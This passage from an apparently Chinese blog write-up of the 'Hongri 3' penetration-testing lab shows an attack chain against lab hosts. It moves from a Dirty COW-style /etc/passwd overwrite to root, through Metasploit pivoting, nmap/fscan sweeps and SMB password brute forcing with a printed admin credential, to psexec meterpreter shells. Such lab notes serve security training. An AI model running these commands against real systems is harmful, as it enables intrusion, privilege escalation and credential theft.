</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>wwwuser@localhost tmp<span style="color:#f92672">]</span>$ ls -al ./dirty
</span></span><span style="display:flex;"><span>-rwxrwxr-x. <span style="color:#ae81ff">1</span> wwwuser wwwuser <span style="color:#ae81ff">12056</span> Oct  <span style="color:#ae81ff">6</span> 22:57 ./dirty
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>wwwuser@localhost tmp<span style="color:#f92672">]</span>$ ./dirty 
</span></span><span style="display:flex;"><span>/etc/passwd successfully backed up to /tmp/passwd.bak
</span></span><span style="display:flex;"><span>Please enter the new password: 
</span></span><span style="display:flex;"><span>Complete line:
</span></span><span style="display:flex;"><span>root:roNJMEIcMPy4.:0:0:pwned:/root:/bin/bash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mmap: 7f6fb884c000
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>wwwuser@localhost tmp<span style="color:#f92672">]</span>$ su root
</span></span><span style="display:flex;"><span>Password: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>root@localhost tmp<span style="color:#f92672">]</span><span style="color:#75715e"># id</span>
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> context<span style="color:#f92672">=</span>unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
</span></span></code></pre></div><p>拿下root,将shell传到msf中,<a href="https://www.revshells.com" target="_blank" rel="noopener nofollow noreferrer" >msfvenom</a>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_14.png" alt="" /></figure>
</p>
<h3 id="搭建socks隧道">搭建socks隧道</h3>
<p>参考之前在红日1里面的笔记<a href="%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f.md###%e6%90%ad%e5%bb%basocks%e9%9a%a7%e9%81%93">红日靶场1-win域</a></p>
<pre tabindex="0"><code>run post/multi/manage/autoroute
background
use auxiliary/server/socks_proxy
run
使用jobs即可查看
msf6 auxiliary(server/socks_proxy) &gt; jobs
<h1 id="jobs">Jobs</h1>
<p>Id  Name                           Payload  Payload opts</p>
<hr>
<p>0   Auxiliary: server/socks_proxy
</code></pre><h2 id="内网">内网</h2></p>
<h3 id="内网存活探测">内网存活探测</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>☁  workspace  sudo proxychains4 nmap -sn -PE 192.168.93.1/24
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> config file found: /etc/proxychains.conf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> preloading /usr/local/lib/libproxychains4.so
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-10-08 17:05 CST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.1
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0016s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.10
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0018s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.20
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0033s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.30
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0015s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.100
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0017s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.120
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0050s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">256</span> IP addresses <span style="color:#f92672">(</span><span style="color:#ae81ff">6</span> hosts up<span style="color:#f92672">)</span> scanned in 1.56 seconds
</span></span></code></pre></div><h3 id="内网web机器">内网web机器</h3>
<p>扫一下那台内网web机器,9191端口应该是我刚刚用蚁剑的后渗透插件启动的bind-shell</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>☁  workspace  sudo proxychains4 nmap -Pn -sT 192.168.93.120 -p22,80,3306,9191 --min-rate<span style="color:#f92672">=</span><span style="color:#ae81ff">5000</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> config file found: /etc/proxychains.conf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> preloading /usr/local/lib/libproxychains4.so
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-10-08 17:12 CST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.120
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.031s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE  SERVICE
</span></span><span style="display:flex;"><span>22/tcp   open   ssh
</span></span><span style="display:flex;"><span>80/tcp   open   http
</span></span><span style="display:flex;"><span>3306/tcp open   mysql
</span></span><span style="display:flex;"><span>9191/tcp closed sun-as-jpda
</span></span></code></pre></div><p>现在再回到蚁剑的后渗透模块,设置代理,使用bind-shell,传回msf
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_15.png" alt="" /></figure>
<p>linux的两台机器拿到了</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_16.png" alt="" /></figure>
<p>还剩下三台win机器</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>192.168.93.10
</span></span><span style="display:flex;"><span>192.168.93.20
</span></span><span style="display:flex;"><span>192.168.93.30
</span></span></code></pre></div><h3 id="信息收集-1">信息收集</h3>
<p>这里我配完proxifier之后,在浏览器里面访问了一下,发现20机器的80端口开放,先扫一下这台</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>复习一下awk,提取nmap的扫描结果中的端口号
</span></span><span style="display:flex;"><span>awk -F <span style="color:#e6db74">&#39;/&#39;</span>  -v ORS<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;,&#39;</span> <span style="color:#e6db74">&#39;{print $1}&#39;</span> aaa | sed <span style="color:#e6db74">&#39;s/,$//&#39;</span>
</span></span></code></pre></div><p>win2008</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>☁  workspace  sudo proxychains4 nmap -Pn -sT 192.168.93.20 -p80,135,139,445,1433,2383,47001,49152,49153,49154,49155,49156,49158  -A  --min-rate<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> config file found: /etc/proxychains.conf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-10-08 18:56 CST
</span></span><span style="display:flex;"><span>Stats: 0:01:11 elapsed; <span style="color:#ae81ff">0</span> hosts completed <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> up<span style="color:#f92672">)</span>, <span style="color:#ae81ff">1</span> undergoing Service Scan
</span></span><span style="display:flex;"><span>Service scan Timing: About 46.15% <span style="color:#66d9ef">done</span>; ETC: 18:59 <span style="color:#f92672">(</span>0:01:22 remaining<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.93.20
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0079s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span>80/tcp    open  http         Microsoft HTTPAPI httpd 2.0 <span style="color:#f92672">(</span>SSDP/UPnP<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Not Found
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-HTTPAPI/2.0
</span></span><span style="display:flex;"><span>135/tcp   open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>139/tcp   open  netbios-ssn?
</span></span><span style="display:flex;"><span>445/tcp   open  microsoft-ds Windows Server <span style="color:#f92672">(</span>R<span style="color:#f92672">)</span> <span style="color:#ae81ff">2008</span> Datacenter <span style="color:#ae81ff">6003</span> Service Pack <span style="color:#ae81ff">2</span> microsoft-ds
</span></span><span style="display:flex;"><span>1433/tcp  open  ms-sql-s     Microsoft SQL Server <span style="color:#ae81ff">2008</span> 10.00.1600.00; RTM
</span></span><span style="display:flex;"><span>| ms-sql-info:
</span></span><span style="display:flex;"><span>|   192.168.93.20<span style="color:#ae81ff">\M</span>SSQLSERVER:
</span></span><span style="display:flex;"><span>|     Instance name: MSSQLSERVER
</span></span><span style="display:flex;"><span>|     Version:
</span></span><span style="display:flex;"><span>|       name: Microsoft SQL Server <span style="color:#ae81ff">2008</span> RTM
</span></span><span style="display:flex;"><span>|       number: 10.00.1600.00
</span></span><span style="display:flex;"><span>|       Product: Microsoft SQL Server <span style="color:#ae81ff">2008</span>
</span></span><span style="display:flex;"><span>|       Service pack level: RTM
</span></span><span style="display:flex;"><span>|       Post-SP patches applied: false
</span></span><span style="display:flex;"><span>|     TCP port: <span style="color:#ae81ff">1433</span>
</span></span><span style="display:flex;"><span>|_    Clustered: false
</span></span><span style="display:flex;"><span>| ms-sql-ntlm-info:
</span></span><span style="display:flex;"><span>|   192.168.93.20<span style="color:#ae81ff">\M</span>SSQLSERVER:
</span></span><span style="display:flex;"><span>|     Target_Name: TEST
</span></span><span style="display:flex;"><span>|     NetBIOS_Domain_Name: TEST
</span></span><span style="display:flex;"><span>|     NetBIOS_Computer_Name: WIN2008
</span></span><span style="display:flex;"><span>|     DNS_Domain_Name: test.org
</span></span><span style="display:flex;"><span>|     DNS_Computer_Name: win2008.test.org
</span></span><span style="display:flex;"><span>|     DNS_Tree_Name: test.org
</span></span><span style="display:flex;"><span>|_    Product_Version: 6.0.6003
</span></span><span style="display:flex;"><span>|_ssl-date: 2024-10-08T11:00:20+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>SSL_Self_Signed_Fallback
</span></span><span style="display:flex;"><span>| Not valid before: 2019-12-15T05:29:23
</span></span><span style="display:flex;"><span>|_Not valid after:  2049-12-15T05:29:23
</span></span><span style="display:flex;"><span>2383/tcp  open  ms-olap4?
</span></span><span style="display:flex;"><span>47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 <span style="color:#f92672">(</span>SSDP/UPnP<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-HTTPAPI/2.0
</span></span><span style="display:flex;"><span>|_http-title: Not Found
</span></span><span style="display:flex;"><span>49152/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49153/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49154/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49155/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49156/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49158/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :        
</span></span><span style="display:flex;"><span>SF-Port139-TCP:V<span style="color:#f92672">=</span>7.94SVN%I<span style="color:#f92672">=</span>7%D<span style="color:#f92672">=</span>10/8%Time<span style="color:#f92672">=</span>67050FFA%P<span style="color:#f92672">=</span>x86_64-pc-linux-gnu%r<span style="color:#f92672">(</span>
</span></span><span style="display:flex;"><span>SF:GetRequest,5,<span style="color:#e6db74">&#34;\x83\0\0\x01\x8f&#34;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least <span style="color:#ae81ff">1</span> open and <span style="color:#ae81ff">1</span> closed port
</span></span><span style="display:flex;"><span>Device type: general purpose
</span></span><span style="display:flex;"><span>Running: Microsoft Windows XP|7|<span style="color:#ae81ff">2012</span>
</span></span><span style="display:flex;"><span>OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
</span></span><span style="display:flex;"><span>OS details: Microsoft Windows XP SP3 or Windows <span style="color:#ae81ff">7</span> or Windows Server <span style="color:#ae81ff">2012</span>
</span></span><span style="display:flex;"><span>Network Distance: <span style="color:#ae81ff">2</span> hops
</span></span><span style="display:flex;"><span>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>|_nbstat: NetBIOS name: WIN2008, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:0c:29:ab:44:ec <span style="color:#f92672">(</span>VMware<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_clock-skew: mean: -1h36m00s, deviation: 3h34m37s, median: -1s
</span></span><span style="display:flex;"><span>| smb-os-discovery:
</span></span><span style="display:flex;"><span>|   OS: Windows Server <span style="color:#f92672">(</span>R<span style="color:#f92672">)</span> <span style="color:#ae81ff">2008</span> Datacenter <span style="color:#ae81ff">6003</span> Service Pack <span style="color:#ae81ff">2</span> <span style="color:#f92672">(</span>Windows Server <span style="color:#f92672">(</span>R<span style="color:#f92672">)</span> <span style="color:#ae81ff">2008</span> Datacenter 6.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp2
</span></span><span style="display:flex;"><span>|   Computer name: win2008
</span></span><span style="display:flex;"><span>|   NetBIOS computer name: WIN2008<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">00</span>
</span></span><span style="display:flex;"><span>|   Domain name: test.org
</span></span><span style="display:flex;"><span>|   Forest name: test.org
</span></span><span style="display:flex;"><span>|   FQDN: win2008.test.org
</span></span><span style="display:flex;"><span>|_  System time: 2024-10-08T18:58:24+08:00
</span></span><span style="display:flex;"><span>| smb2-time:
</span></span><span style="display:flex;"><span>|_  start_date: 2019-12-14T11:49:34
</span></span><span style="display:flex;"><span>| smb-security-mode:
</span></span><span style="display:flex;"><span>|   account_used: guest
</span></span><span style="display:flex;"><span>|   authentication_level: user
</span></span><span style="display:flex;"><span>|   challenge_response: supported
</span></span><span style="display:flex;"><span>|_  message_signing: disabled <span style="color:#f92672">(</span>dangerous, but default<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| smb2-security-mode:
</span></span><span style="display:flex;"><span>|   2:0:2:
</span></span><span style="display:flex;"><span>|_    Message signing enabled but not required
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>TRACEROUTE <span style="color:#f92672">(</span>using proto 1/icmp<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>HOP RTT     ADDRESS
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span>   0.84 ms 192.168.3.2
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span>   1.19 ms 192.168.93.20
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 211.63 seconds
</span></span></code></pre></div><p>等其他两个nmap扫描的时候,才发现我忘了上内网神器fscan了&hellip;.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>root@localhost tmp<span style="color:#f92672">]</span><span style="color:#75715e"># ./fscan  -h 192.168.93.10</span>
</span></span><span style="display:flex;"><span>start infoscan
</span></span><span style="display:flex;"><span>192.168.93.10:445 open
</span></span><span style="display:flex;"><span>192.168.93.10:139 open
</span></span><span style="display:flex;"><span>192.168.93.10:135 open
</span></span><span style="display:flex;"><span>192.168.93.10:88 open
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> alive ports len is: <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>start vulscan
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> NetInfo 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span>192.168.93.10
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">[</span>-&gt;<span style="color:#f92672">]</span>WIN-8GA56TNV3MV
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">[</span>-&gt;<span style="color:#f92672">]</span>192.168.93.10
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> OsInfo 192.168.93.10        <span style="color:#f92672">(</span>Windows Server <span style="color:#ae81ff">2012</span> R2 Datacenter 9600<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> NetBios 192.168.93.10   <span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> DC:WIN-8GA56TNV3MV.test.org      Windows Server <span style="color:#ae81ff">2012</span> R2 Datacenter <span style="color:#ae81ff">9600</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>root@localhost tmp<span style="color:#f92672">]</span><span style="color:#75715e"># ./fscan  -h 192.168.93.20</span>
</span></span><span style="display:flex;"><span>start infoscan
</span></span><span style="display:flex;"><span>192.168.93.20:1433 open
</span></span><span style="display:flex;"><span>192.168.93.20:445 open
</span></span><span style="display:flex;"><span>192.168.93.20:139 open
</span></span><span style="display:flex;"><span>192.168.93.20:135 open
</span></span><span style="display:flex;"><span>192.168.93.20:80 open
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> alive ports len is: <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>start vulscan
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> NetInfo
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span>192.168.93.20
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">[</span>-&gt;<span style="color:#f92672">]</span>win2008
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">[</span>-&gt;<span style="color:#f92672">]</span>192.168.93.20
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://192.168.93.20      code:404 len:315    title:Not Found
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> NetBios 192.168.93.20   win2008.test.org                    Windows Server <span style="color:#f92672">(</span>R<span style="color:#f92672">)</span> <span style="color:#ae81ff">2008</span> Datacenter <span style="color:#ae81ff">6003</span> Service Pack <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> OsInfo 192.168.93.20        <span style="color:#f92672">(</span>Windows Server <span style="color:#f92672">(</span>R<span style="color:#f92672">)</span> <span style="color:#ae81ff">2008</span> Datacenter <span style="color:#ae81ff">6003</span> Service Pack 2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>已完成 5/5
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 扫描结束,耗时: 1.224541199s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>root@localhost tmp<span style="color:#f92672">]</span><span style="color:#75715e"># ./fscan  -h 192.168.93.30</span>
</span></span><span style="display:flex;"><span>start infoscan
</span></span><span style="display:flex;"><span>192.168.93.30:445 open
</span></span><span style="display:flex;"><span>192.168.93.30:139 open
</span></span><span style="display:flex;"><span>192.168.93.30:135 open
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> alive ports len is: <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>start vulscan
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> NetInfo 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span>192.168.93.30
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">[</span>-&gt;<span style="color:#f92672">]</span>win7
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">[</span>-&gt;<span style="color:#f92672">]</span>192.168.93.30
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> OsInfo 192.168.93.30        <span style="color:#f92672">(</span>Windows <span style="color:#ae81ff">7</span> Professional <span style="color:#ae81ff">7601</span> Service Pack 1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>已完成 3/3
</span></span></code></pre></div><p>另外两台机器最终放弃掉nmap的扫描了,太慢了</p>
<p>总结一下</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>test.org域内
</span></span><span style="display:flex;"><span>192.168.93.10 win2012 DC
</span></span><span style="display:flex;"><span>192.168.93.20 win2008 
</span></span><span style="display:flex;"><span>另外有一台机器不在TEST域内
</span></span><span style="display:flex;"><span>192.168.93.30 win7
</span></span></code></pre></div><h3 id="smb凭据爆破">smb凭据爆破</h3>
<p>到这里为止,横向移动的思路卡住了,去看了一下网上的各种解法,最常见的就是爆破smb的凭据了&hellip;.我选的几个字典都没有这个密码,手动添加一下&hellip;..</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -i <span style="color:#e6db74">&#39;100i 123qwe!ASD&#39;</span> rockyou.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>administrator:123qwe!ASD
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_17.png" alt="" /></figure>
<p>附上其他师傅的横向思路</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>1、mssql要是拿到高权限（sa账号权限）可以尝试通过mssql写 shell 然后提权。
</span></span><span style="display:flex;"><span>2、在进行横向移动时，内网设备扫不出来其他漏洞，只能通过 SMB 爆破或者 NTLM Relay 攻击，SMB 爆破比较碰运气，在实际过程中可以通过收集公司及管理员信息生成对应字典；NTLM Relay 攻击类似社工钓鱼，遇到安全意识不高的管理员才有可能成功，并且在内网环境中安装Python和对应的库也是比较麻烦的，可以考虑使用 conda 等创建虚拟环境，然后一起打包上传到对应靶机，但是相应的环境配置也是比较容易出问题。
</span></span></code></pre></div><h3 id="psexec拿shell">psexec拿shell</h3>
<p>使用msf的windows/smb/psexec模块,拿到20,30机器的shell</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>set rhosts 192.168.93.20,30
</span></span><span style="display:flex;"><span>rhosts <span style="color:#f92672">=</span>&gt; 192.168.93.20,30
</span></span><span style="display:flex;"><span>msf6 exploit<span style="color:#f92672">(</span>windows/smb/psexec<span style="color:#f92672">)</span> &gt; run
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Exploiting target 192.168.93.20
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.20:445 - Connecting to the server...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.20:445 - Authenticating to 192.168.93.20:445 as user <span style="color:#e6db74">&#39;administrator&#39;</span>...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.20:445 - Selecting PowerShell target
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.20:445 - Executing the payload...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.93.20:445 - Service start timed out, OK <span style="color:#66d9ef">if</span> running a command or non-service executable...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Started bind TCP handler against 192.168.93.20:4444
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Sending stage <span style="color:#f92672">(</span><span style="color:#ae81ff">201798</span> bytes<span style="color:#f92672">)</span> to 192.168.93.20
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Meterpreter session <span style="color:#ae81ff">7</span> opened <span style="color:#f92672">(</span>192.168.3.100:39039 -&gt; 192.168.93.20:4444<span style="color:#f92672">)</span> at 2024-10-08 19:47:02 +0800
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Session <span style="color:#ae81ff">7</span> created in the background.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Exploiting target 192.168.93.30
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.30:445 - Connecting to the server...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.30:445 - Authenticating to 192.168.93.30:445 as user <span style="color:#e6db74">&#39;administrator&#39;</span>...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.30:445 - Selecting PowerShell target
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.93.30:445 - Executing the payload...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.93.30:445 - Service start timed out, OK <span style="color:#66d9ef">if</span> running a command or non-service executable...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Started bind TCP handler against 192.168.93.30:4444
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Sending stage <span style="color:#f92672">(</span><span style="color:#ae81ff">201798</span> bytes<span style="color:#f92672">)</span> to 192.168.93.30
